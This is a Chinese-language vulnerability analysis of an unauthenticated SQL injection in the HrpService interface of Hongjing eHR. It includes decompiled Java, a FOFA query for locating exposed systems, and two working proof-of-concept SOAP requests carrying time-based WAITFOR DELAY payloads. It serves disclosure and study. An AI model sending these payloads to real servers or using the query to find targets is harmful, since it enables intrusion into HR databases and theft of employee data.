漏洞简介
宏景人力资源管理系统(eHR)是一款由宏景软件研发的系统。宏景人力资源管理系统的 HrpService 接口处存在SQL注入漏洞,未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令,从而窃取数据库敏感信息。
影响版本
fofa语法
app="HJSOFT-HCM"
漏洞分析
关于路由的分析以及两个路由请求触发方式,参考这篇文章:宏景eHR HrChangeInfoService SQL注入漏洞+XXE漏洞
因此我们直接去 WEB-INF/classes/META-INF/xfire/services.xml 查找我们本次审计的主角 HrpService 部分的定义:
<service xmlns="http://xfire.codehaus.org/config/1.0">
<name>HrpService</name>
<namespace>http://www.hjsj.com/HrpService</namespace>
<serviceClass>com.hjsj.hrms.service.HrpIssuanceService</serviceClass>
</service>
<service xmlns="http://xfire.codehaus.org/config/1.0">
<name>HrpServices</name>
<namespace>http://www.hjsj.com/HrpServices</namespace>
<serviceClass>com.hjsj.hrms.service.HrpIssuanceService</serviceClass>
</service>
可以看到两个service均由同一个类处理,因此测试时可以有两种url方式
processResult
跟进 HrpService 类,看第一个方法 processResult 的实现
public String processResult(String var1, String var2) {
String var3 = "1";
SynOaService var4 = new SynOaService();
var3 = var4.processResult(var1, var2);
return var3;
}
变量 var1、var2,被直接带入 processResult 方法
public String processResult(String var1, String var2) {
String var3 = "1";
Connection var4 = null;
try {
log.debug("SynOaService task_id=" + var1 + ",result=" + var2);
var4 = AdminDb.getConnection();
if (var4 != null) {
String var5 = this.getIdByTask(var1, var4, 1);
String var6 = this.getIdByTask(var1, var4, 2);
UserView var7 = this.getUserViewByTask(var1, var4);
TemplateTableBo var8 = new TemplateTableBo(var4, Integer.parseInt(var5), var7);
跟进 getIdByTask 方法
private String getIdByTask(String var1, Connection var2, int var3) {
String var4 = "";
RowSet var5 = null;
try {
ContentDAO var6 = new ContentDAO(var2);
String var7 = "select tabid from t_wf_instance where ins_id=(select ins_id from t_wf_task where task_id=" + var1 + " )";
if (var3 == 2) {
var7 = "select ins_id from t_wf_task where task_id=" + var1;
}
var5 = var6.search(var7);
if (var5.next()) {
可以看到 var1 被直接拼接进sql语句中执行,无任何过滤和校验处理,造成SQL注入漏。
getHrInfoByID
看下 getHrInfoByID 方法
public String getHrInfoByID(String var1, String var2, String var3, String var4, String var5, String var6, String var7) {
String var8 = this.getUserNameByID(var1, var2);
return this.getHrInfo(var8, "", "false", var4, var5, var6, var7);
}
七个变量中的 var1 var2 被带入 getUserNameByID 方法中
private String getUserNameByID(String var1, String var2) {
String var3 = "";
String var4 = "";
String var5 = "";
RowSet var6 = null;
Connection var7 = null;
try {
var7 = AdminDb.getConnection();
if (null != var7) {
ContentDAO var8 = new ContentDAO(var7);
StringBuffer var9 = new StringBuffer();
DbNameBo var10 = new DbNameBo(var7);
ArrayList var11 = var10.getAllDbNameVoList();
if (null != var11 && !var11.isEmpty()) {
for(int var12 = 0; var12 < var11.size(); ++var12) {
RecordVo var13 = (RecordVo)var11.get(var12);
var4 = var13.getString("pre");
var9.append("SELECT a0100 FROM ");
var9.append(var4 + "A01");
var9.append(" WHERE UPPER(");
var9.append(var1);
var9.append(")='");
var9.append(var2.toUpperCase());
var9.append("'");
var6 = var8.search(var9.toString());
if (var6.next()) {
var1被直接拼接进 WHERE UPPER(var1) 中,无任何过滤或校验,造成SQL注入漏洞,var2 同样如此。
漏洞复现
processResult
POST /services/HrpService HTTP/1.1
Host: hjsoft.mrxn.net
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
<soapenv:Header/>
<soapenv:Body>
<hrp:processResult>
<hrp:in0>1)WAITFOR DELAY '0:0:5'-- </hrp:in0>
<hrp:in1>1</hrp:in1>
</hrp:processResult>
</soapenv:Body>
</soapenv:Envelope>

成功延时 5 秒
getHrInfoByID
两种路由都是可以的噢!
POST /servlet/XFireServlet/HrpService HTTP/1.1
Host: hjsoft.mrxn.net
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
<soapenv:Header/>
<soapenv:Body>
<hrp:getHrInfoByID>
<hrp:in0>1</hrp:in0>
<hrp:in1>1'WAITFOR DELAY '0:0:5 </hrp:in1>
<hrp:in2>1</hrp:in2>
<hrp:in3>1</hrp:in3>
<hrp:in4>1</hrp:in4>
<hrp:in5>1</hrp:in5>
<hrp:in6>1</hrp:in6>
</hrp:getHrInfoByID>
</soapenv:Body>
</soapenv:Envelope>
也是成功延时 5 秒



